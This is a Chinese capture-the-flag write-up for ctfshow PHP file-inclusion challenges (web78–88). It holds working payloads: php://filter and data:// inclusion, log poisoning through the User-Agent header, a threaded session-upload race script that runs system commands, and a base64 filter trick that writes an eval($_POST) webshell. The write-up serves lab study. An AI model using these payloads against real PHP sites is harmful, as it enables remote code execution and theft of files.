ctfshow_文件包含

WEB78

没什么好讲的

payload:?file=php://filter/read=convert.base64-encode/resource=falg.php

web79

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

这里先看一下源码,上一个payload已经不能用了,因为过滤了php,
所以这里我们直接换一个方式。参考文章:https://www.freebuf.com/column/148886.html
用的是这一句

payload:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

在这里插入图片描述

发现可以执行,接下来我们换一个命令执行进去执行。
这里有个一坑,就是不能把标签闭合了。<?php system(‘cat flag.php’);

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

参考文章本地包含

日志getshell

抓包改user_Agent
在这里插入图片描述蚁剑连接

用data协议之间include就不行,需要绕过open_basedir

参考链接php伪协议实现命令执行的七种姿势

/var/log/nginx/access.log

web81

同80一样也是日志包含。

web82_86

直接通杀脚本

import io
import requests
import threading

sessID = 'flag'
url = 'http://296b5d26-334c-4459-b7a6-b16db5aad264.challenge.ctf.show:8080/'

# 1.设置信号
# 使用Event的set()方法可以设置Event对象内部的信号标志为真。Event对象提供了isSet()方法来判断其内部信号标志的状态,当使用event对象的set()方法后,isSet()方法返回真.

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            url,
            cookies={
    
    'PHPSESSID': sessID},
            data={
    
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
            files={
    
    'file': ('test.txt', f)}
        )


def read(session):
    while event.isSet():
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'test' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

WEB87

参考链接

不同变量死亡绕过。

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    
    
    highlight_file(__FILE__);
}

base64就可以绕过/
正好是phpdie正好是6个字节,加2为,4的倍数,正好可以bse64解码。
构造
php://filter/write=convert.base64-decode/resource=1.php
url 两次编码之后

payload
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
php://filter 的使用
p神的谈一谈php://filter的妙用

web88

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
    
    
        die("error");
    }
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

1、过滤了 . file伪协议不能用了
2、过滤了php php:// 协议协议不能用
3、不知道绝对路径 zip:// & bzip2:// & zlib:// 协议
4、没有过滤\ \ 可以使用 data:// 协议
payload(记得把=号删掉因为过滤了)

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTsgPz4
在这里插入图片描述

参考文章使用data伪协议绕过圆括号、反引号被过滤

猜你喜欢

转载自blog.csdn.net/qq_45951598/article/details/115058013